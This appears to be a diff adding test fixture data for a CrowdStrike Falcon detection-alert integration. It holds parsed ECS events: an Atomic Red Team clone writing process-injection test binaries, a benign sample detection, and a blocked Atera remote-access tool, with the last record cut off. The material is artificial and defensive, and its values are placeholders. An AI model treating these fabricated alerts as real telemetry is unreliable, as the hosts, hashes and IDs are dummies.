+                            "FileName": "calc.dll",
+                            "FilePath": "/home/azureuser/atomic-red-team/atomics/T1047/bin/",
+                            "Timestamp": "2024-06-25T10:06:06.000Z"
+                        },
+                        {
+                            "FileName": "T1055.011_x64.exe",
+                            "FilePath": "/home/azureuser/atomic-red-team/atomics/T1055.011/bin/",
+                            "Timestamp": "2024-06-25T10:06:06.000Z"
+                        },
+                        {
+                            "FileName": "EtwpCreateEtwThread.exe",
+                            "FilePath": "/home/azureuser/atomic-red-team/atomics/T1055/bin/x64/",
+                            "Timestamp": "2024-06-25T10:06:06.000Z"
+                        },
+                        {
+                            "FileName": "CreateProcess.exe",
+                            "FilePath": "/home/azureuser/atomic-red-team/atomics/T1055.012/bin/x64/",
+                            "Timestamp": "2024-06-25T10:06:06.000Z"
+                        },
+                        {
+                            "FileName": "T1036.003.exe",
+                            "FilePath": "/home/azureuser/atomic-red-team/atomics/T1036.003/bin/",
+                            "Timestamp": "2024-06-25T10:06:06.000Z"
+                        }
+                    ],
+                    "GrandparentCommandLine": "/usr/sbin/sshd -D -R",
+                    "GrandparentImageFileName": "sshd",
+                    "GrandparentImageFilePath": "/usr/sbin/sshd",
+                    "HostGroups": [
+                        "44be50f58ccfcfcfcfcfcfcfcffc"
+                    ],
+                    "LocalIPv6": "2a02:cf40::",
+                    "MACAddress": "02-42-d8-66-fe-03",
+                    "Objective": "Falcon Detection Method",
+                    "ParentImageFileName": "bash",
+                    "ParentImageFilePath": "/usr/bin/bash",
+                    "PatternDispositionFlags": {
+                        "BlockingUnsupportedOrDisabled": false,
+                        "BootupSafeguardEnabled": false,
+                        "CriticalProcessDisabled": false,
+                        "Detect": false,
+                        "FsOperationBlocked": false,
+                        "HandleOperationDowngraded": false,
+                        "InddetMask": false,
+                        "Indicator": false,
+                        "KillActionFailed": false,
+                        "KillParent": false,
+                        "KillProcess": true,
+                        "KillSubProcess": false,
+                        "OperationBlocked": false,
+                        "PolicyDisabled": true,
+                        "ProcessBlocked": false,
+                        "QuarantineFile": false,
+                        "QuarantineMachine": false,
+                        "RegistryOperationBlocked": false,
+                        "Rooting": false,
+                        "SensorOnly": false,
+                        "SuspendParent": false,
+                        "SuspendProcess": false
+                    },
+                    "PatternDispositionValue": 272,
+                    "PatternId": "30115",
+                    "SensorId": "c8d1292a8a904216aa25ab728f4b45fd",
+                    "Severity": 70,
+                    "SeverityName": "High",
+                    "SourceProducts": "Falcon Insight",
+                    "SourceVendors": "CrowdStrike",
+                    "Type": "ldt"
+                },
+                "metadata": {
+                    "customerIDString": "123123abcd",
+                    "eventType": "EppDetectionSummaryEvent",
+                    "offset": 1,
+                    "version": "1.0"
+                }
+            },
+            "ecs": {
+                "version": "8.17.0"
+            },
+            "event": {
+                "action": "Detection, process would have been killed if related prevention policy setting was enabled.",
+                "category": [
+                    "malware"
+                ],
+                "created": "2023-06-15T16:06:52.400Z",
+                "kind": "alert",
+                "original": "{\"metadata\":{\"customerIDString\":\"123123abcd\",\"offset\":1,\"eventType\":\"EppDetectionSummaryEvent\",\"eventCreationTime\":1686845212400,\"version\":\"1.0\"},\"event\":{\"ProcessStartTime\":1719309930,\"ProcessEndTime\":0,\"ProcessId\":1719309930613520072,\"ParentProcessId\":1719308637781199091,\"Hostname\":\"linux-vm\",\"UserName\":\"azureuser\",\"Name\":\"Known Malware\",\"Description\":\"A suspicious process related to a likely malicious file was launched. Review any binaries involved as they may be related to malware.\",\"Severity\":70,\"SeverityName\":\"High\",\"FileName\":\"git\",\"FilePath\":\"/usr/bin/git\",\"CommandLine\":\"git clone https://github.com/redcanaryco/atomic-red-team.git\",\"SHA256String\":\"29aa689f38158d2e8941fa54e436f0260890af31cecad1e8799e5c2df7bc1ecc\",\"MD5String\":\"675853ca01ec441df7a015b91a7e1272\",\"SHA1String\":\"0000000000000000000000000000000000000000\",\"LogonDomain\":\"\",\"FilesWritten\":[{\"Timestamp\":1719309966,\"FileName\":\"test_upx_header_changed\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1027.002/bin/linux/\"},{\"Timestamp\":1719309966,\"FileName\":\"test_upx\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1027.002/bin/linux/\"},{\"Timestamp\":1719309966,\"FileName\":\"CreateProcessWithPipe.exe\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1055.012/bin/x64/\"},{\"Timestamp\":1719309966,\"FileName\":\"T1055.exe\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1055.004/bin/\"},{\"Timestamp\":1719309966,\"FileName\":\"msys-2.0.dll\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1055/bin/x64/vuln_dll/\"},{\"Timestamp\":1719309966,\"FileName\":\"calc.dll\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1047/bin/\"},{\"Timestamp\":1719309966,\"FileName\":\"T1055.011_x64.exe\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1055.011/bin/\"},{\"Timestamp\":1719309966,\"FileName\":\"EtwpCreateEtwThread.exe\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1055/bin/x64/\"},{\"Timestamp\":1719309966,\"FileName\":\"CreateProcess.exe\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1055.012/bin/x64/\"},{\"Timestamp\":1719309966,\"FileName\":\"T1036.003.exe\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1036.003/bin/\"}],\"FalconHostLink\":\"https://falcon.eu-1.crowdstrike.com/activity-v2/detections/44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333?_cid=99999999999999999999999999999999\",\"AgentId\":\"c8d1292a8a904216aa25ab728f4b45fd\",\"CompositeId\":\"44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333\",\"LocalIP\":\"172.17.0.1\",\"MACAddress\":\"02-42-d8-66-fe-03\",\"Tactic\":\"Malware\",\"Technique\":\"Malicious File\",\"Objective\":\"Falcon Detection Method\",\"PatternDispositionDescription\":\"Detection, process would have been killed if related prevention policy setting was enabled.\",\"PatternDispositionValue\":272,\"PatternDispositionFlags\":{\"Indicator\":false,\"Detect\":false,\"InddetMask\":false,\"SensorOnly\":false,\"Rooting\":false,\"KillProcess\":true,\"KillSubProcess\":false,\"QuarantineMachine\":false,\"QuarantineFile\":false,\"PolicyDisabled\":true,\"KillParent\":false,\"OperationBlocked\":false,\"ProcessBlocked\":false,\"RegistryOperationBlocked\":false,\"CriticalProcessDisabled\":false,\"BootupSafeguardEnabled\":false,\"FsOperationBlocked\":false,\"HandleOperationDowngraded\":false,\"KillActionFailed\":false,\"BlockingUnsupportedOrDisabled\":false,\"SuspendProcess\":false,\"SuspendParent\":false},\"ParentImageFileName\":\"bash\",\"ParentCommandLine\":\"-bash\",\"GrandParentImageFileName\":\"sshd\",\"GrandParentCommandLine\":\"/usr/sbin/sshd -D -R\",\"HostGroups\":\"44be50f58ccfcfcfcfcfcfcfcffc\",\"PatternId\":30115,\"SourceVendors\":\"CrowdStrike\",\"SourceProducts\":\"Falcon Insight\",\"DataDomains\":\"Endpoint\",\"AggregateId\":\"aggind:c8d1292a8a904216aa25ab728f4b45fd:11111111111\",\"Type\":\"ldt\",\"ParentImageFilePath\":\"/usr/bin/bash\",\"GrandParentImageFilePath\":\"/usr/sbin/sshd\",\"LocalIPv6\":\"2a02:cf40::\"}}",
+                "reference": "https://falcon.eu-1.crowdstrike.com/activity-v2/detections/44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333?_cid=99999999999999999999999999999999",
+                "severity": 73,
+                "type": [
+                    "info"
+                ]
+            },
+            "file": {
+                "hash": {
+                    "md5": "675853ca01ec441df7a015b91a7e1272",
+                    "sha1": "0000000000000000000000000000000000000000",
+                    "sha256": "29aa689f38158d2e8941fa54e436f0260890af31cecad1e8799e5c2df7bc1ecc"
+                },
+                "name": "git",
+                "path": "/usr/bin/git"
+            },
+            "host": {
+                "name": "linux-vm"
+            },
+            "observer": {
+                "product": "Falcon",
+                "vendor": "Crowdstrike"
+            },
+            "process": {
+                "args": [
+                    "git",
+                    "clone",
+                    "https://github.com/redcanaryco/atomic-red-team.git"
+                ],
+                "command_line": "git clone https://github.com/redcanaryco/atomic-red-team.git",
+                "entity_id": "1719309930613520072",
+                "executable": "git",
+                "name": "git",
+                "parent": {
+                    "args": [
+                        "-bash"
+                    ],
+                    "command_line": "-bash",
+                    "entity_id": "1719308637781199091",
+                    "executable": "-bash",
+                    "pid": 1719308637781199091
+                },
+                "pid": 1719309930613520072,
+                "start": "2024-06-25T10:05:30.000Z"
+            },
+            "related": {
+                "hash": [
+                    "0000000000000000000000000000000000000000",
+                    "29aa689f38158d2e8941fa54e436f0260890af31cecad1e8799e5c2df7bc1ecc",
+                    "675853ca01ec441df7a015b91a7e1272"
+                ],
+                "hosts": [
+                    "linux-vm"
+                ],
+                "ip": [
+                    "172.17.0.1"
+                ],
+                "user": [
+                    "azureuser"
+                ]
+            },
+            "rule": {
+                "name": "Known Malware"
+            },
+            "source": {
+                "ip": "172.17.0.1"
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "threat": {
+                "framework": "CrowdStrike Falcon Detections Framework",
+                "tactic": {
+                    "name": [
+                        "Malware"
+                    ]
+                },
+                "technique": {
+                    "name": [
+                        "Malicious File"
+                    ]
+                }
+            },
+            "user": {
+                "name": "azureuser"
+            }
+        },
+        {
+            "@timestamp": "2025-03-21T19:07:20.000Z",
+            "crowdstrike": {
+                "event": {
+                    "AggregateId": "aggind:eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee:42952716106",
+                    "CompositeId": "cccccccccccccccccccccccccccccccc:ind:eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee:43185188660-10197-561424",
+                    "DataDomains": "Endpoint",
+                    "Description": "For evaluation only - benign, no action needed.",
+                    "GrandparentCommandLine": "C:\\Windows\\Explorer.EXE",
+                    "GrandparentImageFileName": "explorer.exe",
+                    "GrandparentImageFilePath": "\\Device\\HarddiskVolume4\\Windows\\explorer.exe",
+                    "HostGroups": [
+                        "88888888888888888888888888888888"
+                    ],
+                    "MACAddress": "00-0c-29-46-56-09",
+                    "Objective": "Falcon Detection Method",
+                    "ParentImageFileName": "cmd.exe",
+                    "ParentImageFilePath": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe",
+                    "PatternDispositionFlags": {
+                        "BlockingUnsupportedOrDisabled": false,
+                        "BootupSafeguardEnabled": false,
+                        "ContainmentFileSystem": false,
+                        "CriticalProcessDisabled": false,
+                        "Detect": false,
+                        "FsOperationBlocked": false,
+                        "HandleOperationDowngraded": false,
+                        "InddetMask": false,
+                        "Indicator": false,
+                        "KillActionFailed": false,
+                        "KillParent": false,
+                        "KillProcess": false,
+                        "KillSubProcess": false,
+                        "OperationBlocked": false,
+                        "PolicyDisabled": false,
+                        "ProcessBlocked": false,
+                        "QuarantineFile": false,
+                        "QuarantineMachine": false,
+                        "RegistryOperationBlocked": false,
+                        "Rooting": false,
+                        "SensorOnly": false,
+                        "SuspendParent": false,
+                        "SuspendProcess": false
+                    },
+                    "PatternId": "10197",
+                    "SensorId": "eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee",
+                    "Severity": 30,
+                    "SeverityName": "Low",
+                    "SourceProducts": "Falcon Insight",
+                    "SourceVendors": "CrowdStrike",
+                    "Type": "ldt"
+                },
+                "metadata": {
+                    "customerIDString": "cccccccccccccccccccccccccccccccc",
+                    "eventType": "EppDetectionSummaryEvent",
+                    "offset": 1532939,
+                    "version": "1.0"
+                }
+            },
+            "ecs": {
+                "version": "8.17.0"
+            },
+            "event": {
+                "action": "Detection, standard detection.",
+                "category": [
+                    "malware"
+                ],
+                "created": "2025-03-21T19:07:20.000Z",
+                "kind": "alert",
+                "original": "{\"metadata\":{\"customerIDString\":\"cccccccccccccccccccccccccccccccc\",\"offset\":1532939,\"eventType\":\"EppDetectionSummaryEvent\",\"eventCreationTime\":1742584040000,\"version\":\"1.0\"},\"event\":{\"ProcessStartTime\":1742583971,\"ProcessEndTime\":1742583972,\"ProcessId\":43185188660,\"ParentProcessId\":43146803382,\"Hostname\":\"CISO-DUMMY-CSDEV\",\"UserName\":\"Administrator\",\"Name\":\"Suspicious Activity\",\"Description\":\"For evaluation only - benign, no action needed.\",\"Severity\":30,\"SeverityName\":\"Low\",\"FileName\":\"choice.exe\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\choice.exe\",\"CommandLine\":\"choice  /m crowdstrike_sample_detection\",\"SHA256String\":\"0000000000000000000000000000000000000000000000000000000000000000\",\"MD5String\":\"00000000000000000000000000000000\",\"SHA1String\":\"0000000000000000000000000000000000000000\",\"LogonDomain\":\"CISO-DUMMY-CSDEV\",\"FalconHostLink\":\"https://falcon.crowdstrike.com/activity-v2/detections/cccccccccccccccccccccccccccccccc:ind:eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee:43185188660-10197-561424?_cid=cccccccccccccccccccccccccccccccc\",\"AgentId\":\"eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee\",\"CompositeId\":\"cccccccccccccccccccccccccccccccc:ind:eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee:43185188660-10197-561424\",\"LocalIP\":\"192.168.33.133\",\"MACAddress\":\"00-0c-29-46-56-09\",\"Tactic\":\"Malware\",\"Technique\":\"Malicious File\",\"Objective\":\"Falcon Detection Method\",\"PatternDispositionDescription\":\"Detection, standard detection.\",\"PatternDispositionValue\":0,\"PatternDispositionFlags\":{\"Indicator\":false,\"Detect\":false,\"InddetMask\":false,\"SensorOnly\":false,\"Rooting\":false,\"KillProcess\":false,\"KillSubProcess\":false,\"QuarantineMachine\":false,\"QuarantineFile\":false,\"PolicyDisabled\":false,\"KillParent\":false,\"OperationBlocked\":false,\"ProcessBlocked\":false,\"RegistryOperationBlocked\":false,\"CriticalProcessDisabled\":false,\"BootupSafeguardEnabled\":false,\"FsOperationBlocked\":false,\"HandleOperationDowngraded\":false,\"KillActionFailed\":false,\"BlockingUnsupportedOrDisabled\":false,\"SuspendProcess\":false,\"SuspendParent\":false,\"ContainmentFileSystem\":false},\"ParentImageFileName\":\"cmd.exe\",\"ParentCommandLine\":\"\\\"C:\\\\Windows\\\\system32\\\\cmd.exe\\\" \",\"GrandParentImageFileName\":\"explorer.exe\",\"GrandParentCommandLine\":\"C:\\\\Windows\\\\Explorer.EXE\",\"HostGroups\":\"88888888888888888888888888888888\",\"PatternId\":10197,\"SourceVendors\":\"CrowdStrike\",\"SourceProducts\":\"Falcon Insight\",\"DataDomains\":\"Endpoint\",\"AggregateId\":\"aggind:eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee:42952716106\",\"Type\":\"ldt\",\"ParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\cmd.exe\",\"GrandParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\explorer.exe\",\"LocalIPv6\":\"\"}}",
+                "reference": "https://falcon.crowdstrike.com/activity-v2/detections/cccccccccccccccccccccccccccccccc:ind:eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee:43185188660-10197-561424?_cid=cccccccccccccccccccccccccccccccc",
+                "severity": 21,
+                "type": [
+                    "info"
+                ]
+            },
+            "file": {
+                "hash": {
+                    "md5": "00000000000000000000000000000000",
+                    "sha1": "0000000000000000000000000000000000000000",
+                    "sha256": "0000000000000000000000000000000000000000000000000000000000000000"
+                },
+                "name": "choice.exe",
+                "path": "\\Device\\HarddiskVolume4\\Windows\\System32\\choice.exe"
+            },
+            "host": {
+                "domain": "CISO-DUMMY-CSDEV",
+                "name": "CISO-DUMMY-CSDEV"
+            },
+            "observer": {
+                "product": "Falcon",
+                "vendor": "Crowdstrike"
+            },
+            "process": {
+                "args": [
+                    "choice",
+                    "/m",
+                    "crowdstrike_sample_detection"
+                ],
+                "command_line": "choice  /m crowdstrike_sample_detection",
+                "end": "2025-03-21T19:06:12.000Z",
+                "entity_id": "43185188660",
+                "executable": "choice",
+                "name": "choice.exe",
+                "parent": {
+                    "args": [
+                        "\"C:\\Windows\\system32\\cmd.exe\""
+                    ],
+                    "command_line": "\"C:\\Windows\\system32\\cmd.exe\"",
+                    "entity_id": "43146803382",
+                    "executable": "\"C:\\Windows\\system32\\cmd.exe\"",
+                    "pid": 43146803382
+                },
+                "pid": 43185188660,
+                "start": "2025-03-21T19:06:11.000Z"
+            },
+            "related": {
+                "hash": [
+                    "0000000000000000000000000000000000000000",
+                    "0000000000000000000000000000000000000000000000000000000000000000",
+                    "00000000000000000000000000000000"
+                ],
+                "hosts": [
+                    "CISO-DUMMY-CSDEV"
+                ],
+                "ip": [
+                    "192.168.33.133"
+                ],
+                "user": [
+                    "Administrator"
+                ]
+            },
+            "rule": {
+                "name": "Suspicious Activity"
+            },
+            "source": {
+                "ip": "192.168.33.133"
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "threat": {
+                "framework": "CrowdStrike Falcon Detections Framework",
+                "tactic": {
+                    "name": [
+                        "Malware"
+                    ]
+                },
+                "technique": {
+                    "name": [
+                        "Malicious File"
+                    ]
+                }
+            },
+            "user": {
+                "name": "Administrator"
+            }
+        },
+        {
+            "@timestamp": "2025-03-21T19:10:02.000Z",
+            "crowdstrike": {
+                "event": {
+                    "AggregateId": "aggind:eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee:42953194054",
+                    "AssociatedFile": "\\Device\\HarddiskVolume4\\Users\\Administrator\\Desktop\\atera.exe.exe",
+                    "CompositeId": "cccccccccccccccccccccccccccccccc:ind:eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee:43186863960-41001-568080",
+                    "DataDomains": "Endpoint",
+                    "Description": "A process triggered a high severity custom rule.",
+                    "GrandparentCommandLine": "C:\\Windows\\system32\\userinit.exe",
+                    "GrandparentImageFileName": "userinit.exe",
+                    "GrandparentImageFilePath": "\\Device\\HarddiskVolume4\\Windows\\System32\\userinit.exe",
+                    "HostGroups": [
+                        "88888888888888888888888888888888"
+                    ],
+                    "IOARuleGroupName": "Custom IOA Group - Windows",
+                    "IOARuleInstanceID": "167",
+                    "IOARuleInstanceVersion": 2,
+                    "IOARuleName": "Initial Access via Remote Service (Atera) Block",
+                    "IOCType": "hash_sha256",
+                    "IOCValue": "0000000000000000000000000000000000000000000000000000000000000000",
+                    "MACAddress": "00-ff-12-46-56-09",
+                    "Objective": "Falcon Detection Method",
+                    "ParentImageFileName": "explorer.exe",
+                    "ParentImageFilePath": "\\Device\\HarddiskVolume4\\Windows\\explorer.exe",
+                    "PatternDispositionFlags": {
+                        "BlockingUnsupportedOrDisabled": false,
+                        "BootupSafeguardEnabled": false,
+                        "ContainmentFileSystem": false,
+                        "CriticalProcessDisabled": false,
+                        "Detect": false,
+                        "FsOperationBlocked": false,
+                        "HandleOperationDowngraded": false,
+                        "InddetMask": false,
+                        "Indicator": false,
+                        "KillActionFailed": false,
+                        "KillParent": false,
+                        "KillProcess": false,
+                        "KillSubProcess": false,
+                        "OperationBlocked": false,
+                        "PolicyDisabled": false,
+                        "ProcessBlocked": true,
+                        "QuarantineFile": false,
+                        "QuarantineMachine": false,
+                        "RegistryOperationBlocked": false,
+                        "Rooting": false,
+                        "SensorOnly": false,
+                        "SuspendParent": false,
+                        "SuspendProcess": false
+                    },
+                    "PatternDispositionValue": 2048,
+                    "PatternId": "41001",
+                    "SensorId": "eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee",
+                    "Severity": 70,
+                    "SeverityName": "High",
+                    "SourceProducts": "Falcon Insight",
+                    "SourceVendors": "CrowdStrike",
+                    "Type": "ldt"
+                },
+                "metadata": {
+                    "customerIDString": "cccccccccccccccccccccccccccccccc",
+                    "eventType": "EppDetectionSummaryEvent",
+                    "offset": 1532956,
+                    "version": "1.0"
+                }
+            },
+            "ecs": {
+                "version": "8.17.0"
+            },
+            "event": {
+                "action": "Prevention, process was blocked from execution.",
+                "category": [
+                    "malware"
+                ],
+                "created": "2025-03-21T19:10:02.000Z",
+                "kind": "alert",
+                "original": "{\"metadata\":{\"customerIDString\":\"cccccccccccccccccccccccccccccccc\",\"offset\":1532956,\"eventType\":\"EppDetectionSummaryEvent\",\"eventCreationTime\":1742584202000,\"version\":\"1.0\"},\"event\":{\"ProcessStartTime\":1742584138,\"ProcessEndTime\":1742584138,\"ProcessId\":43186863960,\"ParentProcessId\":43046029968,\"Hostname\":\"CISO-DUMMY-CSDEV\",\"UserName\":\"Administrator\",\"Name\":\"Suspicious Activity\",\"Description\":\"A process triggered a high severity custom rule.\",\"Severity\":70,\"SeverityName\":\"High\",\"FileName\":\"atera.exe.exe\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\Administrator\\\\Desktop\\\\atera.exe.exe\",\"CommandLine\":\"\\\"C:\\\\Users\\\\Administrator\\\\Desktop\\\\atera.exe.exe\\\" \",\"SHA256String\":\"0000000000000000000000000000000000000000000000000000000000000000\",\"MD5String\":\"00000000000000000000000000000000\",\"SHA1String\":\"0000000000000000000000000000000000000000\",\"LogonDomain\":\"CISO-DUMMY-CSDEV\",\"FalconHostLink\":\"https://falcon.crowdstrike.com/activity-v2/detections/cccccccccccccccccccccccccccccccc:ind:eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee:43186863960-41001-568080?_cid=cccccccccccccccccccccccccccccccc\",\"AgentId\":\"eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee\",\"IOCType\":\"hash_sha256\",\"IOCValue\":\"0000000000000000000000000000000000000000000000000000000000000000\",\"CompositeId\":\"cccccccccccccccccccccccccccccccc:ind:eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee:43186863960-41001-568080\",\"LocalIP\":\"192.168.33.133\",\"MACAddress\":\"00-ff-12-46-56-09\",\"Tactic\":\"Custom Intelligence\",\"Technique\":\"Indicator of Attack\",\"Objective\":\"Falcon Detection Method\",\"PatternDispositionDescription\":\"Prevention, process was blocked from execution.\",\"PatternDispositionValue\":2048,\"PatternDispositionFlags\":{\"Indicator\":false,\"Detect\":false,\"InddetMask\":false,\"SensorOnly\":false,\"Rooting\":false,\"KillProcess\":false,\"KillSubProcess\":false,\"QuarantineMachine\":false,\"QuarantineFile\":false,\"PolicyDisabled\":false,\"KillParent\":false,\"OperationBlocked\":false,\"ProcessBlocked\":true,\"RegistryOperationBlocked\":false,\"CriticalProcessDisabled\":false,\"BootupSafeguardEnabled\":false,\"FsOperationBlocked\":false,\"HandleOperationDowngraded\":false,\"KillActionFailed\":false,\"BlockingUnsupportedOrDisabled\":false,\"SuspendProcess\":false,\"SuspendParent\":false,\"ContainmentFileSystem\":false},\"ParentImageFileName\":\"explorer.exe\",\"ParentCommandLine\":\"C:\\\\Windows\\\\Explorer.EXE\",\"GrandParentImageFileName\":\"userinit.exe\",\"GrandParentCommandLine\":\"C:\\\\Windows\\\\system32\\\\userinit.exe\",\"IOARuleInstanceID\":\"167\",\"IOARuleInstanceVersion\":2,\"IOARuleName\":\"Initial Access via Remote Service (Atera) Block\",\"IOARuleGroupName\":\"Custom IOA Group - Windows\",\"HostGroups\":\"88888888888888888888888888888888\",\"AssociatedFile\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\Administrator\\\\Desktop\\\\atera.exe.exe\",\"PatternId\":41001,\"SourceVendors\":\"CrowdStrike\",\"SourceProducts\":\"Falcon Insight\",\"DataDomains\":\"Endpoint\",\"AggregateId\":\"aggind:eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee:42953194054\",\"Type\":\"ldt\",\"ParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\explorer.exe\",\"GrandParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\userinit.exe\",\"LocalIPv6\":\"\"}}",
+                "reference": "https://falcon.crowdstrike.com/activity-v2/detections/cccccccccccccccccccccccccccccccc:ind:eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee:43186863960-41001-568080?_cid=cccccccccccccccccccccccccccccccc",
+                "severity": 73,
+                "type": [
+                    "info"
+                ]
+            },
+            "file": {
+                "hash": {
+                    "md5": "00000000000000000000000000000000",
+                    "sha1": "0000000000000000000000000000000000000000",
+                    "sha256": "0000000000000000000000000000000000000000000000000000000000000000"
+                },
+                "name": "atera.exe.exe",
+                "path": "\\Device\\HarddiskVolume4\\Users\\Administrator\\Desktop\\atera.exe.exe"
+            },
+            "host": {
+                "domain": "CISO-DUMMY-CSDEV",
+                "name": "CISO-DUMMY-CSDEV"
+            },
+            "observer": {
+                "product": "Falcon",
+                "vendor": "Crowdstrike"
+            },
+            "process": {
+                "args": [
+                    "\"C:\\Users\\Administrator\\Desktop\\atera.exe.exe\""
+                ],
+                "command_line": "\"C:\\Users\\Administrator\\Desktop\\atera.exe.exe\"",
+                "end": "2025-03-21T19:08:58.000Z",
+                "entity_id": "43186863960",
+                "executable": "\"C:\\Users\\Administrator\\Desktop\\atera.exe.exe\"",
+                "name": "atera.exe.exe",
+                "parent": {
+                    "args": [
+                        "C:\\Windows\\Explorer.EXE"
+                    ],
+                    "command_line": "C:\\Windows\\Explorer.EXE",
+                    "entity_id": "43046029968",
+                    "executable": "C:\\Windows\\Explorer.EXE",
+                    "pid": 43046029968
+                },
+                "pid": 43186863960,
+                "start": "2025-03-21T19:08:58.000Z"
+            },
+            "related": {
+                "hash": [
+                    "0000000000000000000000000000000000000000",
+                    "0000000000000000000000000000000000000000000000000000000000000000",
+                    "00000000000000000000000000000000"
+                ],
+                "hosts": [
+                    "CISO-DUMMY-CSDEV"
+                ],
+                "ip": [
+                    "192.168.33.133"
+                ],
+                "user": [
+                    "Administrator"
+                ]
+            },
+            "rule": {
+                "name": "Suspicious Activity"
+            },
+            "source": {
+                "ip": "192.168.33.133"
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "threat": {
+                "framework": "CrowdStrike Falcon Detections Framework",
+                "tactic": {
+                    "name": [
+                        "Custom Intelligence"
+                    ]
+                },
+                "technique": {
+                    "name": [
+                        "Indicator of Attack"
+                    ]
+                }
+            },
+            "user": {
+                "name": "Administrator"
+            }
+        },
+        {
+            "@timestamp": "2025-07-24T10:18:53.000Z",
+            "crowdstrike": {
+                "event": {
+                    "AggregateId": "aggind:4ebcabee560d4345b025d6c732656ba9:1237323",
+                    "CompositeId": "e880572ce33c42458b31e0dd368497fc:ind:4ebcabee560d4345b025d6c732656ba9:1753352263802791435-145-268048",
+                    "DataDomains": "Endpoint",
+                    "Description": "Anexecutablewasrunwithacontradictingfileextension",
+                    "GrandparentCommandLine": "sshd:devuser@pts/0",
+                    "GrandparentImageFileName": "sshd",
+                    "GrandparentImageFilePath": "/usr/sbin/sshd",
+                    "MACAddress": "42-01-0a-80-00-18",
+                    "Objective": "KeepAccess",
+                    "ParentImageFileName": "bash",
+                    "ParentImageFilePath": "/usr/bin/bash",
+                    "PatternDispositionFlags": {
+                        "BlockingUnsupportedOrDisabled": false,
+                        "BootupSafeguardEnabled": false,
+                        "ContainmentFileSystem": false,
+                        "CriticalProcessDisabled": false,
+                        "Detect": false,
+                        "FsOperationBlocked": false,
+                        "HandleOperationDowngraded": false,
+                        "InddetMask": false,
+                        "Indicator": false,
+                        "KillActionFailed": false,
+                        "KillParent": false,
+                        "KillProcess": true,
+                        "KillSubProcess": false,
+                        "OperationBlocked": false,
+                        "PolicyDisabled": true,
+                        "ProcessBlocked": false,
+                        "QuarantineFile": false,
+                        "QuarantineMachine": false,
+                        "RegistryOperationBlocked": false,
+                        "Rooting": false,
+                        "SensorOnly": false,
+                        "SuspendParent": false,
+                        "SuspendProcess": false
+                    },
+                    "PatternDispositionValue": 272,
+                    "PatternId": "145",
+                    "PlatformId": "3",
+                    "PlatformName": "Linux",
+                    "SensorId": "4ebcabee560d4345b025d6c732656ba9",
+                    "Severity": 50,
+                    "SeverityName": "Medium",
+                    "SourceProducts": "FalconInsight",
+                    "SourceVendors": "CrowdStrike",
+                    "Type": "ldt"
+                },
+                "metadata": {
+                    "customerIDString": "e880572ce33c42458b31e0dd368497fc",
+                    "eventType": "EppDetectionSummaryEvent",
+                    "offset": 2092190,
+                    "version": "1.0"
+                }
+            },
+            "ecs": {
+                "version": "8.17.0"
+            },
+            "event": {
+                "action": "Detection,processwouldhavebeenkilledifrelatedpreventionpolicysettingwasenabled.",
+                "category": [
+                    "malware"
+                ],
+                "created": "2025-07-24T10:18:53.000Z",
+                "kind": "alert",
